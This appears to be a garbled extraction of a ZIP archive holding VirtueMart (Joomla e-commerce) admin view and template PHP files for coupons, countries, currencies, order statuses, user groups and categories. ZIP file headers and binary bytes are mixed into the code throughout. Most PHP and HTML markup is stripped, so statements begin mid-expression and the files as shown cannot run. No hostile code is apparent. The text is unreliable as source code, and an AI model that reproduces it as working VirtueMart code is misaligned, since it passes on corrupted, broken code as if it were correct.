JROUTE::_('index.php?option=com_virtuemart&view=user&virtuemart_user_id='.$row->virtuemart_user_id); ?>
      nbrCustomers ?>
      nbrActiveProducts ?>
      : nbrInActiveProducts ?>
      nbrFeaturedProducts ?>
      order_status_name); ?> order_count; ?>
      :
      order_number; ?> order_total ?>
      first_name . ' ' . $row->last_name. ' (' . $row->order_number . ') '; ?>
      PKs>\pJ0com_virtuemart/views/virtuemart/tmpl/default.phpnuW+A vendor->vendor_store_desc) and VmConfig::get('show_store_desc', 1)) { ?>
      vendor->vendor_store_desc; ?>
      categories and VmConfig::get('show_categories', 1)) echo $this->loadTemplate('categories'); # Show template for : topten,Featured, Latest Products if selected in config BE if (!empty($this->products) ) { ?> loadTemplate('products'); } ?>PKs>\#o,,/com_virtuemart/views/virtuemart/tmpl/index.htmlnuW+APKs>\͚rnn=com_virtuemart/views/virtuemart/tmpl/default_controlpanel.phpnuW+A
      canDo->get('core.admin') || $this->canDo->get('vm.product')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.category')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.orders')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.paymentmethod')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.user')) { ?>
      canDo->get('core.admin')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.user.editshop')) { ?>
      virtuemartFeed) { ?>

        virtuemartFeed as $item) { if (!empty($item->link)) { $description=strip_tags($item->description); $description=substr($description, 0,200)."..."; ?>
      • title; ?>
      extensionsFeed ) { $j=0; foreach ($this->extensionsFeed as $item){ // This is directly related to extensions.virtuemart.net if (($j / 5) == 0) { ?>

      link)) { $description = $item->description; preg_match('/]+>/i',$description, $result); if (is_array($result) and isset($result[0])){ $image=$result[0]; $description=str_replace($image,"",$description); $description=strip_tags($description); $description=str_replace(JText::_ ('COM_VIRTUEMART_FEED_READMORE') ,"",$description); } else { $description=""; } ?>

      PKs>\--9com_virtuemart/views/manufacturercategories/view.html.phpnuW+ASetViewTitle('MANUFACTURER_CATEGORY'); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $manufacturerCategory = $model->getData(); $this->assignRef('manufacturerCategory', $manufacturerCategory); $this->addStandardEditViewCommands($manufacturerCategory->virtuemart_manufacturercategories_id); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $manufacturerCategories = $model->getManufacturerCategories(); $this->assignRef('manufacturerCategories', $manufacturerCategories); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKs>\PG(: : <com_virtuemart/views/manufacturercategories/tmpl/default.phpnuW+A
      manufacturerCategories ); $i < $n; $i++) { $row = $this->manufacturerCategories[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_manufacturercategories_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=manufacturercategories&task=edit&virtuemart_manufacturercategories_id=' . $row->virtuemart_manufacturercategories_id); $manufacturersList = JROUTE::_('index.php?option=com_virtuemart&view=manufacturer&virtuemart_manufacturercategories_id=' . $row->virtuemart_manufacturercategories_id); ?>
      sort('virtuemart_manufacturercategories_id', 'COM_VIRTUEMART_ID') ?>
      mf_category_name; ?> mf_category_desc); ?> virtuemart_manufacturercategories_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKs>\9~CC9com_virtuemart/views/manufacturercategories/tmpl/edit.phpnuW+A
      langList; ?>
      manufacturerCategory->mf_category_name); ?> manufacturerCategory->published); ?> manufacturerCategory->mf_category_desc); ?>
      addStandardHiddenToForm(); ?>
      PKs>\):com_virtuemart/views/manufacturercategories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\;com_virtuemart/views/manufacturercategories/tmpl/index.htmlnuW+APKs>\6com_virtuemart/views/manufacturercategories/index.htmlnuW+APKs>\)5com_virtuemart/views/manufacturercategories/.htaccessnuW+A Order allow,deny Deny from all PKs>\& )com_virtuemart/views/coupon/view.html.phpnuW+AgetCoupon(); $this->SetViewTitle('', $coupon->coupon_code); $layoutName = JRequest::getWord('layout', 'default'); // if(Vmconfig::get('multix','none')!=='none'){ // $vendorList= ShopFunctions::renderVendorList($coupon->virtuemart_vendor_id); // $this->assignRef('vendorList', $vendorList); // } $vendorModel = VmModel::getModel('Vendor'); $vendorModel->setId(1); $vendor = $vendorModel->getVendor(); $currencyModel = VmModel::getModel('Currency'); $currencyModel = $currencyModel->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currencyModel->currency_symbol); if ($layoutName == 'edit') { if ($coupon->virtuemart_coupon_id < 1) { // Set a default expiration date $_expTime = explode(',', VmConfig::get('coupons_default_expire','14,D')); if (!empty( $_expTime[1]) && $_expTime[1] == 'W') { $_expTime[0] = $_expTime[0] * 7; $_expTime[1] = 'D'; } if (version_compare(PHP_VERSION, '5.3.0', '<')) { $_dtArray = getdate(time()); if ($_expTime[1] == 'D') { $_dtArray['mday'] += $_expTime[0]; } elseif ($_expTime[1] == 'M') { $_dtArray['mon'] += $_expTime[0]; } elseif ($_expTime[1] == 'Y') { $_dtArray['year'] += $_expTime[0]; } $coupon->coupon_expiry_date = mktime($_dtArray['hours'], $_dtArray['minutes'], $_dtArray['seconds'] , $_dtArray['mon'], $_dtArray['mday'], $_dtArray['year']); } else { $_expDate = new DateTime(); $_expDate->add(new DateInterval('P'.$_expTime[0].$_expTime[1])); $coupon->coupon_expiry_date = $_expDate->format("U"); } } $this->assignRef('coupon', $coupon); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $coupons = $model->getCoupons(); $this->assignRef('coupons', $coupons); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKs>\&com_virtuemart/views/coupon/index.htmlnuW+APKs>\M!==,com_virtuemart/views/coupon/tmpl/default.phpnuW+A
      coupons); $i < $n; $i++) { $row = $this->coupons[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_coupon_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=coupon&task=edit&cid[]=' . $row->virtuemart_coupon_id); ?>
      sort('virtuemart_coupon_id', 'COM_VIRTUEMART_ID') ?>
      coupon_code; ?> percent_or_total); ?> coupon_type); ?> coupon_value); ?> percent_or_total=='percent') echo '%' ; else echo $this->vendor_currency; ?> coupon_value_valid); ?> vendor_currency; ?> coupon_type=='gift'){ if ($row->coupon_used ) { echo JText::_('COM_VIRTUEMART_YES'); } else { echo JText::_('COM_VIRTUEMART_NO'); } } ?> virtuemart_coupon_id); ?>
      pagination->getListFooter(); ?>
      PKs>\Xo o )com_virtuemart/views/coupon/tmpl/edit.phpnuW+A
      coupon->coupon_code,'class="inputbox"','',20,32); ?> coupon->coupon_value,'class="inputbox"','',10,32); ?> coupon->percent_or_total); ?> coupon->coupon_type,'','value', 'text',false) ; ?> coupon->coupon_value_valid, 'class="inputbox"','',10,255,' ' . $this->vendor_currency ); ?> coupon->coupon_start_date , 'coupon_start_date') ); ?> coupon->coupon_expiry_date,'coupon_expiry_date') ); ?>
      addStandardHiddenToForm(); ?>
      PKs>\+com_virtuemart/views/coupon/tmpl/index.htmlnuW+APKs>\)*com_virtuemart/views/coupon/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)%com_virtuemart/views/coupon/.htaccessnuW+A Order allow,deny Deny from all PKs>\'com_virtuemart/views/country/index.htmlnuW+APKs>\*com_virtuemart/views/country/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $country = $model->getData(); $this->assignRef('country', $country); $wzsList = $zoneModel->getWorldZonesSelectList(); $this->assignRef('worldZones', $wzsList ); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(true,false); //First the view lists, it sets the state of the model $this->addStandardDefaultViewLists($model,0,'ASC'); $filter_country = JRequest::getWord('filter_country', false); $countries = $model->getCountries(false, false, $filter_country); $this->assignRef('countries', $countries); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKs>\-com_virtuemart/views/country/tmpl/default.phpnuW+A
      */ ?> countries ); $i < $n; $i++) { $row = $this->countries[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_country_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=country&task=edit&cid[]=' . $row->virtuemart_country_id); $statelink = JROUTE::_('index.php?option=com_virtuemart&view=state&view=state&virtuemart_country_id=' . $row->virtuemart_country_id); ?> virtuemart_worldzone_id; ?> */ ?>
      sort('country_name') ?> sort('country_2_code') ?> sort('country_3_code') ?> sort('virtuemart_country_id') ?>
      country_3_code); ?> country_name ?>   hasKey($prefix.$row->country_3_code)) { echo "(".$country_string.") "; } ?> [] country_2_code; ?> country_3_code ; ?> virtuemart_country_id; ?>
      pagination->getListFooter(); ?>
      PKs>\,com_virtuemart/views/country/tmpl/index.htmlnuW+APKs>\)+com_virtuemart/views/country/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\` *com_virtuemart/views/country/tmpl/edit.phpnuW+A
      hasKey($prefix.$this->country->country_3_code) ? ' (' . JText::_($prefix.$this->country->country_3_code) . ')' : ' '; ?> country->country_name, 'class="inputbox"', '', 50, 50, $country_string); ?> country->published); ?> */ ?> country->country_3_code); ?> country->country_2_code); ?>
      worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->country->virtuemart_worldzone_id); ?>
      addStandardHiddenToForm(); ?>
      PKs>\)&com_virtuemart/views/country/.htaccessnuW+A Order allow,deny Deny from all PKs>\)*com_virtuemart/views/orderstatus/.htaccessnuW+A Order allow,deny Deny from all PKs>\P .com_virtuemart/views/orderstatus/tmpl/edit.phpnuW+A
      orderStatus->order_status_code, $this->lists['vmCoreStatusCode'])); $orderStatusCodeTip = ($editcoreStatus) ? 'COM_VIRTUEMART_ORDER_STATUS_CODE_CORE' : 'COM_VIRTUEMART_ORDER_STATUS_CODE_TIP'; if ($editcoreStatus) { $readonly = 'readonly'; } else { $readonly = ''; } ?> hasKey($this->orderStatus->order_status_name) ? ' (' . JText::_($this->orderStatus->order_status_name) . ')' : ' '; echo VmHTML::row('input', 'COM_VIRTUEMART_ORDER_STATUS_NAME', 'order_status_name', $this->orderStatus->order_status_name, 'class="inputbox"', '', 50, 50, $text); ?> stockHandelList ,$this->orderStatus->order_stock_handle,'','value', 'text',false) ; ?> orderStatus->order_status_code, 'class="inputbox '.$readonly.'" '.$readonly.'', '', 3, 1); ?> orderStatus->order_status_description, '100%;', '250', array('image', 'pagebreak', 'readmore')); ?> lists['vendors']); ?> ordering); ?>
      addStandardHiddenToForm(); ?>
      PKs>\)/com_virtuemart/views/orderstatus/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\0com_virtuemart/views/orderstatus/tmpl/index.htmlnuW+APKs>\&91com_virtuemart/views/orderstatus/tmpl/default.phpnuW+A
      lists['vmCoreStatusCode']; for ($i = 0, $n = count($this->orderStatusList); $i < $n; $i++) { $row = $this->orderStatusList[$i]; $published = JHTML::_('grid.published', $row, $i ); $checked = JHTML::_('grid.id', $i, $row->virtuemart_orderstate_id); $coreStatus = (in_array($row->order_status_code, $this->lists['vmCoreStatusCode'])); $image = ((JVM_VERSION===1)) ? 'checked_out.png' : 'admin/checked_out.png'; $image = JHtml::_('image.administrator', $image, '/images/', null, null, JText::_('COM_VIRTUEMART_ORDER_STATUS_CODE_CORE')); $checked = ($coreStatus) ? ''. $image .'' : JHTML::_('grid.id', $i, $row->virtuemart_orderstate_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=orderstatus&task=edit&cid[]=' . $row->virtuemart_orderstate_id); $deletelink = JROUTE::_('index.php?option=com_virtuemart&view=orderstatus&task=remove&cid[]=' . $row->virtuemart_orderstate_id); $ordering = $row->ordering ; ?>
      sort('order_status_name') ?> sort('order_status_code') ?> sort('ordering') ?> orderStatusList ); ?> sort('virtuemart_orderstate_id', 'COM_VIRTUEMART_ID') ?>
      hasKey($row->order_status_name)) { echo ''. vmText::_($row->order_status_name) .' ('.$row->order_status_name.')'; } else { echo ''. $row->order_status_name .' '; } ?> order_status_code; ?> stockHandelList[$row->order_stock_handle]); ?> order_status_description); ?> pagination->orderUpIcon($i, true, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> pagination->orderDownIcon( $i, $n, true, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_orderstate_id; ?>
      addStandardHiddenToForm(); ?>
      PKs>\8 .com_virtuemart/views/orderstatus/view.html.phpnuW+A 'COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE', 'R' => 'COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED', 'O' => 'COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT' ); if ($layoutName == 'edit') { $orderStatus = $model->getData(); $this->SetViewTitle('',JText::_($orderStatus->order_status_name) ); if ($orderStatus->virtuemart_orderstate_id < 1) { $this->assignRef('ordering', JText::_('COM_VIRTUEMART_NEW_ITEMS_PLACE')); } else { // Ordering dropdown $qry = 'SELECT ordering AS value, order_status_name AS text' . ' FROM #__virtuemart_orderstates' . ' ORDER BY ordering'; $ordering = JHTML::_('list.specificordering', $orderStatus, $orderStatus->virtuemart_orderstate_id, $qry); $this->assignRef('ordering', $ordering); } $lists['vmCoreStatusCode'] = $model->getVMCoreStatusCode(); $this->assignRef('stockHandelList', $stockHandelList); // Vendor selection $vendor_model = VmModel::getModel('vendor'); $vendor_list = $vendor_model->getVendors(); $lists['vendors'] = JHTML::_('select.genericlist', $vendor_list, 'virtuemart_vendor_id', '', 'virtuemart_vendor_id', 'vendor_name', $orderStatus->virtuemart_vendor_id); $this->assignRef('orderStatus', $orderStatus); $this->assignRef('lists', $lists); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(''); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $this->lists['vmCoreStatusCode'] = $model->getVMCoreStatusCode(); $orderStatusList = $model->getOrderStatusList(); $this->assignRef('orderStatusList', $orderStatusList); $this->assignRef('stockHandelList', $stockHandelList); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } //No Closing Tag PKs>\+com_virtuemart/views/orderstatus/index.htmlnuW+APKs>\)'com_virtuemart/views/currency/.htaccessnuW+A Order allow,deny Deny from all PKs>\),com_virtuemart/views/currency/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\-com_virtuemart/views/currency/tmpl/index.htmlnuW+APKs>\6S.com_virtuemart/views/currency/tmpl/default.phpnuW+A
      lists['search']) ; ?>
      */?> */?> */ ?> currencies ); $i < $n; $i++) { $row = $this->currencies[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_currency_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=currency&task=edit&cid[]=' . $row->virtuemart_currency_id); ?> currency_code_2; ?> */ ?> shared; ?> */?>
      sort('currency_name','COM_VIRTUEMART_CURRENCY') ; ?> sort('currency_exchange_rate') ?> sort('currency_code_3') ?>
      currency_name; ?> currency_exchange_rate; ?> currency_symbol; ?> currency_code_3; ?> currency_numeric_code; ?>
      pagination->getListFooter(); ?>
      PKs>\`N^ ^ +com_virtuemart/views/currency/tmpl/edit.phpnuW+A
      currency->currency_name); ?> currency->published); ?> currency->currency_exchange_rate,'class="inputbox"','',6); ?> currency->currency_code_2,'class="inputbox"','',2,2); ?> currency->currency_code_3,'class="inputbox"','',3,3); ?> currency->currency_numeric_code,'class="inputbox"','',3,3); ?> currency->currency_symbol,'class="inputbox"','',20,20); ?> currency->currency_decimal_place,'class="inputbox"','',20,20); ?> currency->currency_decimal_symbol,'class="inputbox"','',10,10); ?> currency->currency_thousands,'class="inputbox"','',10,10); ?> currency->currency_positive_style,'class="inputbox"','',50,50); ?> currency->currency_negative_style,'class="inputbox"','',50,50); ?>
      addStandardHiddenToForm(); ?>
      PKs>\(com_virtuemart/views/currency/index.htmlnuW+APKs>\^z+com_virtuemart/views/currency/view.html.phpnuW+AsetId($cid); $currency = $model->getCurrency(); $this->SetViewTitle('',$currency->currency_name); $this->assignRef('currency', $currency); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,0,'ASC'); $currencies = $model->getCurrenciesList(JRequest::getWord('search', false)); $this->assignRef('currencies', $currencies); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKs>\O=)ff-com_virtuemart/views/usergroups/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $usergroup = $model->getUsergroup(); $this->assignRef('usergroup', $usergroup); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $ugroups = $model->getUsergroups(false,true); $this->assignRef('usergroups', $ugroups); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKs>\))com_virtuemart/views/usergroups/.htaccessnuW+A Order allow,deny Deny from all PKs>\check( 'admin' )){ ?>
      usergroups ); $i < $n; $i++) { $row = $this->usergroups[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_shoppergroup_id); // $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=usergroups&task=edit&cid[]=' . $row->virtuemart_shoppergroup_id); ?> ">
      virtuemart_shoppergroup_id; ?> group_name; ?> group_level); ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKs>\).com_virtuemart/views/usergroups/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\}{-com_virtuemart/views/usergroups/tmpl/edit.phpnuW+A
      addStandardHiddenToForm(); ?>
      PKs>\/com_virtuemart/views/usergroups/tmpl/index.htmlnuW+APKs>\*com_virtuemart/views/usergroups/index.htmlnuW+APKs>\|Z%3%3+com_virtuemart/views/category/view.html.phpnuW+AassignRef('show_prices', $show_prices); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); // add javascript for price and cart, need even for quantity buttons, so we need it almost anywhere vmJsApi::jPrice(); $document = JFactory::getDocument(); $app = JFactory::getApplication(); $pathway = $app->getPathway(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $categoryModel = VmModel::getModel('category'); $productModel = VmModel::getModel('product'); // set search and keyword if ($keyword = vRequest::uword('keyword', false, ' ,-,+,.,_')) { $pathway->addItem($keyword); //$title .=' ('.$keyword.')'; } //$search = vRequest::uword('keyword', null); $this->searchcustom = ''; $this->searchcustomvalues = ''; if (!empty($keyword)) { $this->searchcustom = $this->getSearchCustom(); $search = $keyword; } else { $keyword =''; $search = NULL; } $this->assignRef('search', $search); $this->assignRef('keyword', $keyword); $categoryId = JRequest::getInt('virtuemart_category_id', -1); $virtuemart_manufacturer_id = JRequest::getInt('virtuemart_manufacturer_id', -1 ); if ($categoryId === -1 and $virtuemart_manufacturer_id === -1){ $categoryId = ShopFunctionsF::getLastVisitedCategoryId(); } $this->setCanonicalLink($tpl,$document,$categoryId,$virtuemart_manufacturer_id); if ($categoryId === -1 and $virtuemart_manufacturer_id){ $categoryId = 0; $catType = 'manufacturer'; $this->setCanonicalLink($tpl,$document,$virtuemart_manufacturer_id,$catType); } if($categoryId!==-1){ $vendorId = 1; $category = $categoryModel->getCategory($categoryId); } if(!empty($category)){ if(empty($category->category_layout) or $category->category_layout != 'categories') { // Load the products in the given category $ids = $productModel->sortSearchListQuery (TRUE, $categoryId); $perRow = empty($category->products_per_row)? VmConfig::get('products_per_row',3):$category->products_per_row; $this->assignRef('perRow', $perRow); $pagination = $productModel->getPagination($perRow); $this->assignRef('vmPagination', $pagination); $ratingModel = VmModel::getModel('ratings'); $showRating = $ratingModel->showRating(); $productModel->withRating = $showRating; $this->assignRef('showRating', $showRating); $products = $productModel->getProducts ($ids); //$products = $productModel->getProductsInCategory($categoryId); $productModel->addImages($products,1); $this->assignRef('products', $products); if ($products) { $currency = CurrencyDisplay::getInstance( ); $this->assignRef('currency', $currency); foreach($products as $product){ $product->stock = $productModel->getStockIndicator($product); } } $orderByList = $productModel->getOrderByList($categoryId); $this->assignRef('orderByList', $orderByList); // Add feed links if ($products && VmConfig::get('feed_cat_published', 0)==1) { $link = '&format=feed&limitstart='; $attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $document->addHeadLink(JRoute::_($link . '&type=rss', FALSE), 'alternate', 'rel', $attribs); $attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $document->addHeadLink(JRoute::_($link . '&type=atom', FALSE), 'alternate', 'rel', $attribs); } if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showBasePrice = Permissions::getInstance()->check('admin'); //todo add config settings $this->assignRef('showBasePrice', $showBasePrice); } //No redirect here, for category id = 0 means show ALL categories! note by Max Milbers if ((!empty($categoryId) and $categoryId!==-1 ) and (empty($category->slug) or !$category->published)) { if(empty($category->slug)){ vmInfo(JText::_('COM_VIRTUEMART_CAT_NOT_FOUND')); } else { if($category->virtuemart_id!==0 and !$category->published){ vmInfo('COM_VIRTUEMART_CAT_NOT_PUBL',$category->category_name,$categoryId); } } //Fallback $categoryLink = ''; if ($category->category_parent_id) { $categoryLink = '&view=category&virtuemart_category_id=' .$category->category_parent_id; } else { $last_category_id = shopFunctionsF::getLastVisitedCategoryId(); if (!$last_category_id or $categoryId == $last_category_id) { $last_category_id = JRequest::getInt('virtuemart_category_id', false); } if ($last_category_id and $categoryId != $last_category_id) { $categoryLink = '&view=category&virtuemart_category_id=' . $last_category_id; } } if (VmConfig::get('handle_404',1)) { $app->redirect(JRoute::_('index.php?option=com_virtuemart' . $categoryLink . '&error=404', FALSE)); } else { JError::raise(E_ERROR,'404','Not found'); } return; } shopFunctionsF::setLastVisitedCategoryId($categoryId); shopFunctionsF::setLastVisitedManuId($virtuemart_manufacturer_id); // Add the category name to the pathway if ($category->parents) { foreach ($category->parents as $c){ $pathway->addItem(strip_tags($c->category_name),JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$c->virtuemart_category_id, FALSE)); } } $categoryModel->addImages($category,1); if($category->category_layout == 'categories' or ($categoryId >0 and $virtuemart_manufacturer_id <1)){ $category->children = $categoryModel->getChildCategoryList( $vendorId, $categoryId, $categoryModel->getDefaultOrdering(), $categoryModel->_selectedOrderingDir ); $categoryModel->addImages($category->children,1); } else { $category->children = false; } if (VmConfig::get('enable_content_plugin', 0)) { shopFunctionsF::triggerContentPlugin($category, 'category','category_description'); } if ($category->metadesc) { $document->setDescription( $category->metadesc ); } if ($category->metakey) { $document->setMetaData('keywords', $category->metakey); } if ($category->metarobot) { $document->setMetaData('robots', $category->metarobot); } if ($app->getCfg('MetaAuthor') == '1') { $document->setMetaData('author', $category->metaauthor); } if(empty($category->category_template)){ $category->category_template = VmConfig::get('categorytemplate'); } $menus = $app->getMenu(); $menu = $menus->getActive(); if(!empty($menu->query['categorylayout']) and $menu->query['virtuemart_category_id']==$categoryId){ $category->category_layout = $menu->query['categorylayout']; } shopFunctionsF::setVmTemplate($this,$category->category_template,0,$category->category_layout); } else { //Backward compatibility if(!isset($category)) { $category = new stdClass(); $category->category_name = ''; $category->category_description= ''; $category->haschildren= false; } } $this->assignRef('category', $category); // Set the titles if (!empty($category->customtitle)) { $title = strip_tags($category->customtitle); } elseif (!empty($category->category_name)) { $title = strip_tags($category->category_name); } else { $title = $this->setTitleByJMenu($app); } if(JRequest::getInt('error')){ $title .=' '.JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND'); } if(!empty($keyword)){ $title .=' ('.$keyword.')'; } if ($virtuemart_manufacturer_id>0 and !empty($products[0])) $title .=' '.$products[0]->mf_name ; $document->setTitle( $title ); // Override Category name when viewing manufacturers products !IMPORTANT AFTER page title. if ($virtuemart_manufacturer_id>0 and !empty($products[0]) and isset($category->category_name)) $category->category_name =$products[0]->mf_name ; if ($app->getCfg('MetaTitle') == '1') { $document->setMetaData('title', $title); } parent::display($tpl); } public function setTitleByJMenu($app){ $menus = $app->getMenu(); $menu = $menus->getActive(); $title = 'VirtueMart Category View'; if ($menu) $title = $menu->title; // $title = $this->params->get('page_title', ''); // Check for empty title and add site name if param is set if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } return $title; } public function setCanonicalLink($tpl,$document,$categoryId,$manId){ // Set Canonic link if (!empty($tpl)) { $format = $tpl; } else { $format = JRequest::getWord('format', 'html'); } if ($format == 'html') { $link = 'index.php?option=com_virtuemart&view=category'; if($categoryId!==-1){ $link .= '&virtuemart_category_id='.$categoryId; } if($manId!==-1){ $link .= '&virtuemart_manufacturer_id='.$manId; } $document->addHeadLink( JRoute::_($link, FALSE) , 'canonical', 'rel', '' ); } } /* * generate custom fields list to display as search in FE */ public function getSearchCustom() { $emptyOption = array('virtuemart_custom_id' =>0, 'custom_title' => JText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION')); $this->_db =JFactory::getDBO(); $this->_db->setQuery('SELECT `virtuemart_custom_id`, `custom_title` FROM `#__virtuemart_customs` WHERE `field_type` ="P"'); $this->options = $this->_db->loadAssocList(); if ($this->custom_parent_id = JRequest::getInt('custom_parent_id', 0)) { $this->_db->setQuery('SELECT `virtuemart_custom_id`, `custom_title` FROM `#__virtuemart_customs` WHERE custom_parent_id='.$this->custom_parent_id); $this->selected = $this->_db->loadObjectList(); $this->searchCustomValues =''; foreach ($this->selected as $selected) { $this->_db->setQuery('SELECT `custom_value` as virtuemart_custom_id,`custom_value` as custom_title FROM `#__virtuemart_product_customfields` WHERE virtuemart_custom_id='.$selected->virtuemart_custom_id); $valueOptions= $this->_db->loadAssocList(); $valueOptions = array_merge(array($emptyOption), $valueOptions); $this->searchCustomValues .= JText::_($selected->custom_title).' '.JHTML::_('select.genericlist', $valueOptions, 'customfields['.$selected->virtuemart_custom_id.']', 'class="inputbox"', 'virtuemart_custom_id', 'custom_title', 0); } } // add search for declared plugins JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $plgDisplay = $dispatcher->trigger('plgVmSelectSearchableCustom',array( &$this->options,&$this->searchCustomValues,$this->custom_parent_id ) ); if(!empty($this->options)){ $this->options = array_merge(array($emptyOption), $this->options); // render List of available groups vmJsApi::chosenDropDowns(); $this->searchCustomList = JText::_('COM_VIRTUEMART_SET_PRODUCT_TYPE').' '.JHTML::_('select.genericlist',$this->options, 'custom_parent_id', 'class="inputbox vm-chzn-select"', 'virtuemart_custom_id', 'custom_title', $this->custom_parent_id); } else { $this->searchCustomList = ''; } //$this->assignRef('searchcustom', $this->searchCustomList); //$this->assignRef('searchcustomvalues', $this->searchCustomValues); } } //no closing tagPKs>\)'com_virtuemart/views/category/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,(com_virtuemart/views/category/index.htmlnuW+APKs>\hc\ii+com_virtuemart/views/category/tmpl/edit.phpnuW+A
      'COM_VIRTUEMART_CATEGORY_FORM_LBL', 'images' => 'COM_VIRTUEMART_IMAGES' ),$this->category->virtuemart_category_id ); ?> addStandardHiddenToForm(); ?>
      PKs>\ b2com_virtuemart/views/category/tmpl/edit_images.phpnuW+A
      category->images[0]->displayFilesHandler($this->category->virtuemart_media_id); if(empty($this->category->images[0]->virtuemart_media_id)) $this->category->images[0]->addHidden('file_is_category_image','1'); if ($this->category->virtuemart_media_id) echo $this->category->images[0]->displayFilesHandler($this->category->virtuemart_media_id,'category'); else echo $this->category->images[0]->displayFilesHandler(null,'category'); ?>
      PKs>\),com_virtuemart/views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\Ͻ11.com_virtuemart/views/category/tmpl/default.phpnuW+Acategory',$this->category); //vmdebug ('$this->category ' . $this->category->category_name); // Check to ensure this file is included in Joomla! defined ('_JEXEC') or die('Restricted access'); JHTML::_ ('behavior.modal'); /* javascript for list Slide Only here for the order list can be changed by the template maker */ $js = " jQuery(document).ready(function () { jQuery('.orderlistcontainer').hover( function() { jQuery(this).find('.orderlist').stop().show()}, function() { jQuery(this).find('.orderlist').stop().hide()} ) }); "; $document = JFactory::getDocument (); $document->addScriptDeclaration ($js); if (empty($this->keyword) and !empty($this->category)) { ?>
      category->category_description; ?>
      keyword)) { if (!empty($this->category->haschildren)) { // Category and Columns Counter $iCol = 1; $iCategory = 1; // Calculating Categories Per Row $categories_per_row = VmConfig::get ('categories_per_row', 3); $category_cellwidth = ' width' . floor (100 / $categories_per_row); // Separator $verticalseparator = " vertical-separator"; ?>
      category->children)) { foreach ($this->category->children as $category) { // Show the horizontal seperator if ($iCol == 1 && $iCategory > $categories_per_row) { ?>
      keyword)) { ?>

      keyword; ?>

      keyword)) { $category_id = JRequest::getInt ('virtuemart_category_id', 0); ?>
      products)) { ?>
      orderByList['orderby']; ?> orderByList['manufacturer']; ?>
      vmPagination->getResultsCounter ();?>
      vmPagination->getLimitBox ($this->category->limit_list_step); ?>
      vmPagination->getPagesLinks (); ?> vmPagination->getPagesCounter (); ?>

